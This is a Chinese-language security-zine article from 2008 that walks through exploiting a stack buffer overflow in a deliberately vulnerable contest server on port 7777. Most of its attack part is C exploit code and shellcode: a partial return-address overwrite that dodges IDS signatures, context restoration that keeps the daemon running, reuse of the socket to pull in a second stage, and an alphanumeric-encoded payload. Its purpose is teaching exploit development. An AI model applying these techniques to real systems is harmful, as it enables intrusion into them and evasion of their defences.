2008年3月25日星期二

[PSTZine 0x01][0x03][做一个优秀的木匠]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x03 of 0x06


|=-----------------------------------------------------------------------=|
|=-------------------=[ 做一个优秀的木匠 ]=----------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ By F.Zh ]=----------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|

本文TXT版本:
http://docs.google.com/Doc?id=dfr6h9bk_3hk3csmgd

[本文内容可能会伤及到部分名人粉丝感情,作者表示仅为插科打诨之用,并无恶意]

有副图描述了从发现漏洞到最后盈利的过程,大概意思是研究人员发现了房子的漏洞,木匠针对漏洞造了一个梯子,最后脚本小子进屋偷东西。国内的圈子里面,玩票性质的安全爱好者大多不愿意做脚本小子,同时也不见得有足够的时间去找房子的漏洞,所以闲暇时候基本上做做木匠活当消遣。但木匠也是有三六九等的,有朱由校,有鲁班,也有就只能给地主老财家做楠木棺材的。作为一个有职业道德的木匠,显然应该努力向前面两个靠拢,因为只能做做楠木棺材的,未免也太失面子了。

这篇文章就从国内某著名破解论坛搞的科普竞赛开始,由一个楠木棺材级别的木匠挣扎着介绍一下放眼能够看到的技巧。在切入正题前,有必要介绍一下科普竞赛的背景和结果:大约是看到windows漏洞太值钱,破解组织也开始搞起了逆向和exploit,而且还以竞赛的方式来引起非木匠的关注。科普竞赛的题目是两道,如Sowhat所说(http: //hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道题是可以 Google到的,而第一道题显然是个送分题,因此科普竞赛实际上是个比手快的过程。最后结果是nop拿了第一,这个名字让人不禁联想到了五一国际劳动节和革命先烈鲜血的颜色,当然,我们依然怀着无比的敬仰和美好的期望,希望这个nop不是职业运动员参加了业余比赛。

先看看存在问题的程序。逆向很简单,但是为了方便,还是直接给出官方公布的源代码。具有严重自虐倾向的木匠请编译后用ida逆向一下,并自备低温蜡烛和爱心小皮鞭。

====================和谐的分割线=============================

#include<iostream.h>
#include
<winsock2.h>
#pragma comment(lib,
"ws2_32.lib")
void msg_display(char * buf)
{
char msg[200];
strcpy(msg,buf);
// overflow here, copy 0x200 to 200
cout<<"********************"<<endl;
cout
<<"received:"<<endl;
cout
<<msg<<endl;
}
void main()
{
int sock,msgsock,lenth,receive_len;
struct sockaddr_in sock_server,sock_client;
char buf[0x200]; //noticed it is 0x200

WSADATA wsa;
WSAStartup(MAKEWORD(
1,1),&wsa);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
cout
<<sock<<"socket creating error!"<<endl;
exit(
1);
}
sock_server.sin_family
=AF_INET;
sock_server.sin_port
=htons(7777);
sock_server.sin_addr.s_addr
=htonl(INADDR_ANY);
if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
{
cout
<<"binding stream socket error!"<<endl;
}
cout
<<"**************************************"<<endl;
cout
<<" exploit target server 1.0 "<<endl;
cout
<<"**************************************"<<endl;
listen(sock,
4);
lenth
=sizeof(struct sockaddr);
do{
msgsock
=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
if(msgsock==-1)
{
cout
<<"accept error!"<<endl;
break;
}
else
do
{
memset(buf,
0,sizeof(buf));
if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
{
cout
<<"reading stream message erro!"<<endl;
receive_len
=0;
}
msg_display(buf);
//trigged the overflow
}while(receive_len);
closesocket(msgsock);
}
while(1);
WSACleanup();
}

====================和谐的分割线============================

如注释所言,这里是误把0x200长度的往200字符串里面拷贝了。其实这个问题并不具有代表性,比尔叔叔的手下们把widechar的长度算错过,把栈上的变量当堆释放过,把用户给的地址内容加1过,唯独没有昏到把16进制和10进制搞混。不过既然主办方这样写,我们也就这样看吧。实际上逆向出来后,作为一个模板可以覆盖ret,然后code page里面找jmp esp,然后这样那样,很简单就搞定exp了。尽管在冠军的答案中看到了这种方法的影子,楠木棺材级木匠还是要挥舞着手中的锯子说,这种程度只能去做洗脚盆。

好吧,那我们一步一步地看如果从洗脚盆程度提升到楠木棺材级别,并展望一下更高的层次。

首先是获取CPU的控制权问题。

dark spyrit在某期Phrack(记不清楚了)上提出可以用系统加载的dll上的指令码来跳转并获得控制权。这里有一个前提,因为很巧的你覆盖了一大堆东西后,ret退栈后esp指向你能够控制的代码,因此用一个jmp esp可以跳过来执行,剩下就是编写shellcode。但是,并不是说就只能用这个方法,或者说这个方法就最好。dark spyrit最大的贡献是提出了一个通用的方法,同马列主义毛泽东思想邓小平理论三个代表八荣八耻一样,虽然是放之四海而皆准的真理,不过到了中国,还是要要结合具体的国情来开展工作。拿jmp esp的东西往机器上一跑,不同的操作系统版本怎么办,/3gb模式怎么办?做洗脚盆的确可以区分着做出男用女用小孩用人妖用的,但是可能拿去用的人是超女的冠军,如果事先你不知道名字,只看长相,你说到底给那个盆子好?

所以造梯子的时候,最好还是根据实际情况来。一般来说,栈溢出时,对栈上的破坏情况不是很严重的话,在栈区域上可以看到很多上层函数的局部变量,而且这些局部变量往往是很有用的,比如凑巧就是你那个字符串的指针等。打栈上变量的主意有几个好处,首先你可以用其他更稳定的方法跳转到恶意字符串的开头,其次这可以给你多一些字节空间来存放shellcode,最后还可以防止一些ids/ips的检测。我们可以用下面一个简单的图示来把这三个优势混杂起来说明一下。

<--lower upper-->
================================================================
var of vulnerable function | ret | var of upper function ...
================================================================
NOP NOP NOP NOP NOP NOP NOP | jmp esp | shellcode
================================================================
shellcode | jmp ? | var of upper function
================================================================


第二行是马列主义方法,你一定会覆盖到ret,然后继续覆盖起码2个字节(eb xx往回跳转)。因此一些ids/ips的signature就写了,如果你超过xxoo个字节,就阻止发送。就算写得不好的signature起码也会检查你是否覆盖到了ret的四个字节,一些更严格的甚至只要覆盖到ret的第一个字节就报警,对于这样的情况,马列主义方法肯定是被扼杀了,但是第三行的具体国情方法还有一线机会逃脱检测,我们根本不用覆盖完ret的四个字节,只要利用栈上的变量,找一些特定的字节码就可以了。

说到这里还可以插播一个事情,去年一月份泄露出来的.ani溢出的exp,大家对那个覆盖了低两位的exp惊叹不已。这就是一个很好的例子:第一,你用最小的字节数完成了功能,最大限度避免了ids等的问题。第二,这个方法的稳定性还好。这样说其实是很抽象的,我们还是回到科普竞赛的代码上来看。

调用msg_display的时候传递进来了一个参数,在栈上表现出来是这个参数是紧接着ret地址后面的,如果我们仅覆盖到了ret地址,当CPU执行完msg_display返回时,esp刚好指向这个参数,这个时候只需要一个能达到jmp [esp]功能的地址,就能准确跳转到我们传入的字符串上去,显然,满足这个条件最好的指令就是0xc3(ret)。下面这个图简单地说明了这个问题。

<--lower upper-->
=============================================================================
var of vulnerable function | ret | ptr | other var of upper function ...
=============================================================================
^---------------------------------------|

把图中的ret用一个内容为0xC3的地址A来覆盖,当msg_display返回时,返回到了A地址,再执行了一次0xC3(ret)指令,eip就跳到了字符串的开头。

这里的情况还是很简单的,实际exploiting中也许这个ptr离ret还有点距离,可能需要你pop几次,这个形式上同覆盖seh的利用方法相同,也算是一个巧合吧。

然后来说说0xC3地址的寻找。首先很遗憾的,如果你想用四个字节完全覆盖ret地址,没有一个通用地方。msvcrt.dll在相同sp的不同语言系统中相对固定,code page在相同语言不同版本系统中相对固定。注意,这里只是相对,碰上些特殊的情况,可能这些平时通用的地址根本就是无效的地址。再严格一些,如果这里地址必须符合某种编码规范,也许你更难找到可用的地址,更别说通用了。

洗脚盆级别的木匠到这里估计要晕倒了,棺材匠级别的应该还有点办法,两个解决方案:

第一、找一个替代产品来满足编码规范。比如0x7ffa1571是你要找的pop pop ret,没必要一定要用0x7ffa1571,也许用0x7ffa156e也可以,只要pop pop ret前面的指令无伤大雅就是。一个实际的例子是泄露出来的realplayer import那个,要找pop pop ret,但是符合编码规范的范围内找不到,作为替代找了一个 call xxx/ret xx,而且刚好call xxx还不会让程序崩溃。

第二、缩小覆盖面积。覆盖4个字节太痛苦了,少覆盖几个字节吧。x86的DWORD是低位在上的,所以你顺序覆盖的时候,首先覆盖了ret地址的低位。正常的ret值是返回到某个pe文件中,比如00401258,如果覆盖一个字节,那可能的地址范围是00401201~004012ff,如果覆盖2个字节,可能的地址范围在00400101~0040ffff。这么大的范围内一般容易找到满足要求的地址,而且更重要的是,pe文件版本固定的话,尽管加载的基地址可能会变化,但是由于基地址有个对齐的要求,低位(两个字节或更多)完全固定,这实际上是一个很好的提高稳定性的方法。现实中memcpy导致的问题用这种方法更有效,strcpy的麻烦些,不过好在只要说明问题就是,这里也不深究过多。马上给出第一个代码。

===================和谐的分割线======================
#include <winsock2.h>
#include 
<stdio.h>
#pragma comment(lib, 
"ws2_32")

SOCKET ConnectTo(
char *ip, int port)
{
    SOCKET s;
    
struct hostent *he;
    
struct sockaddr_in host;
    
if((he = gethostbyname(ip)) == 0)
        
return INVALID_SOCKET;
    host.sin_port 
= htons(port);
    host.sin_family 
= AF_INET;
    host.sin_addr 
= *((struct in_addr *)he->h_addr);
    
if ((s = WSASocket(210000)) == -1)
        
return INVALID_SOCKET;
    
if ((connect(s, (struct sockaddr *&host, sizeof(host))) == -1)
    {
        closesocket(s);
        
return INVALID_SOCKET;
    }
    
return s;
}

void main()
{
    
char malicious[] =  "\xcc"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"OA@";
    WSADATA wsaData;
    
if(WSAStartup(0x0101,&wsaData) != 0)
        
return;
    SOCKET s 
= ConnectTo("127.0.0.1"7777);
    send(s, malicious, 
2030);  //hard encoded :)
    WSACleanup();
}

=================和谐的分割线=======================

执行下顺利到达int3指令。

构造exp的过程本身是简单的,关键在shellcode实现功能上。洗脚盆木匠到这一步基本上就是找一个shellcode来用。作为一个有职业道德的棺材级木匠,可能还应该有点更高的追求:好的梯子除了能够通用而精确地干掉存在漏洞的机器外,同时还要方便使用者,绕过防火墙,而且还要尽可能少地影响到守护进程。对于网络程序,理想的情况是复用端口,终极目标是复用完了还不挂,后续的使用者能够正常使用守护进程的功能。后一点听起来似乎有点不可思议,而且流传在外面的各种exp,好像还罕有牛到这种程度,不过说穿了也没什么奇怪的,棺材级的木匠一般都能做到,只是马桶级木匠更喜欢散布马桶级exp而已。我们把复用端口的问题留在后面,先聊聊如何让守护进程不挂掉这个事情。

要程序不挂,最简单的办法就是恢复溢出时候的上下文,然后返回去。通常jmp esp的方法因为覆盖得太多,栈给洗脚盆木匠搞得一团糟,影响了太多上级函数的变量,导致根本没有什么好办法可以恢复。这个时候,尽可能少覆盖的优势出来了:由于最大限度地保存了上层函数局部变量,所以要做的就是恢复相关寄存器的值,然后寻找正常流程应该返回的地址,跳转回去即可。对于这里这个简单的 daemon,我们甚至可以硬编码返回地址。还是把例子给出来,说明一下问题先。

==============和谐的分割线=======================
char malicious[] =
"\xCC"
"LLLL`a"
"\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"OA@";
==============和谐的分割线=====================

同前面一个代码相同,0xCC为了调试方便,改成0x90后再编译执行下,可以看见守护进程完全恢复了,你还可以telnet 7777过去正常执行功能,和没有发生过问题一样。这里恢复的代码用了一点小技巧,有兴趣的木匠可以仔细看看,代码`和a分别是pushad和 popad,在这两个中间可以放置任何功能的shellcode,不影响整体的框架。

例子虽然简单,但是我建议读到这里的木匠还是跟进去看一下流程。由于这个实例比较直观,代码就简单恢复了上下文然后跳到正常地方执行,对于复杂点的代码,可能需要多费一点手脚,但是大体思路和步骤还是可以确定的:首先收集一个正常执行完出问题代码的寄存器和栈状态;然后确定要返回的地址,搜索或者硬编码,返回的地方可以是上一层,也可以返回上几层,甚至无耻地跳到入口让程序重新执行一次都可以;最后将恢复的代码编码成shellcode,加在正常功能 shellcode的后面。

让守护进程不挂也做到了,接着看看端口复用的情况。

最简单的网络程序保留有一个SOCKET来通讯,很多已有的文章讨论了如何找到当前的SOCKET。最常用的方法是枚举所有可能的值,然后发送特征字符串来确认。也有人hook recv,通过稍微被动一点的方法来获得SOCKET。当然这些都是懒人用的通用方法,对于特定的程序,简单而又稳妥的方法是直接找栈上的变量,消耗的代码少,而且一次性就能找到。如果编译优化的时候没有具体分配栈上的空间给这个socket,则它一定会被保存在某个寄存器里面,那就更简单了。针对具体的情况,像recv之类的函数也没有必要用很长的通用代码去搜索,只要在PE文件里面找找就成。具体的实现细节我们省略掉,给出代码,直接跟进去看看就知道了。

================和谐的分割线=======================
void main()
{
    
char malicious[] =  "\x90"
                   
                    
"LLLL`"
                    
"\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                    
"\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                    
"\x10\x03\xe2"
                    
"a"
                    
"\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                    
""
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    
"OA@";
    WSADATA wsaData;
    
if(WSAStartup(0x0101,&wsaData) != 0)
        
return;
    SOCKET s 
= ConnectTo("127.0.0.1"7777);
    send(s, malicious, 
2030);

    send(s, 
"\xCC\xC3",2,0);
    Sleep(
-1);
    WSACleanup();
}

==================和谐的分割线======================

这里直接复用了当前的SOCKET,再次调用recv收了一段shellcode来执行,也就是后面看到的"\xCC\xC3"。自己再写个简单的 shellcode就是,基本没有难度,只是注意要平衡栈,最后用个0xc3结尾。比较见鬼的是这个守护进程有recv但是没有send,所以 shellcode里面你必须自己找到send的地址……娘西皮,还带这样玩的啊。

其他情况下的复用还有一些其他的方法,比如IIS 5这一类的,比如RPC一类的。前者寻找一个结构,后者hook一个函数,伪造或者搜索一个同时有in和out的opnum,具体细节baidu上能够搜索到,限于篇幅这里也不再废话了。如果对方是其他完成端口形式,比如ORACLE,只能暴力点shutdown掉当前监听,自己来监听一个。当然,也有没什么好方法的,比如IIS6。

上面的过程省略了没有技术含量的shellcode编写过程,主要说的是一些步骤,方法和技巧。稳定,复用,还有不挂掉守护进程,都作到了,洗脚盆也成功升级为了棺材匠,还有什么可以做的呢?

美观!这个shellcode简直不是一般的难看,混杂了可读的字符和不可读的字符,简直是丑陋不堪!你说一个木匠会把棺材做的全是毛刺么,不会雕龙刻凤的木匠永远是二流的。对于木匠来说,终极的目标是将一个exp发挥到极致,对于这样简单的一个情况,要用所有可见的字符,最好尽可能都是字母,甚至exp 都不用,直接用个telnet就可以溢出获得shell了。

不可能么?当然是可能的,人有多大胆地有多大产,钱老还论证过亩产万斤是可行的呢。那么,还是给个sample。

void main()
{
    
char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
            
"brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
            
"pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
            
"ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
            
"AAAOA@";
    WSADATA wsaData;
    
if(WSAStartup(0x0101,&wsaData) != 0)
        
return;
    SOCKET s 
= ConnectTo("127.0.0.1"7777);
    send(s, malicious, 
2030);

    send(s, 
"\xCC\xC3",2,0);
    Sleep(
-1);
    WSACleanup();
}


这里两段shellcode,我们主要解决第一步的问题。要说明malicious到底是个什么东西,牵扯的面就太广了,我们假设看文章的木匠都是有汇编功底的,而且愿意反汇编进去看一下,就简单的提提,因为要写这个shellcode的构造,那又是一篇文章。shellcode里面首先平衡栈,然后对栈进行一些patch,patch出想要的指令,然后对后续数据进行解码操作,最后再执行。

这个code,运行顺利可以抓到一个0xCC,也就是第二个send的。但是,ret后守护进程还是挂了。

为了美观,我们exp的工作必须重头再来。开始我们把姿态定得很低,目的是说明问题,现在把最重要的几步都解决了,又回到了原点,各位木匠们,现在可以动起手来写一下完全符合可见字符编码的,复用当前SOCKET的第二段shellcode了。按照前面的步骤,应该不是很难的事情,让守护进程不挂也是可以的,malicious代码保留了革命的火种,发生溢出时的寄存器值,都保留在上面,剩下一点工作,只是比写普通shellcode稍微多费点劲的活,不想试试看么。

最后再卖个关子,棺材木匠说过,最终是可以由telnet提交的获得shell,连exp都不用的。telnet是一个字符一个字符提交的,有没有什么一次性提交203个字节导致第一次溢出呢?可以的,守护进程只有一个线程,打打这方面的主意,用个小技巧吧。

没有评论: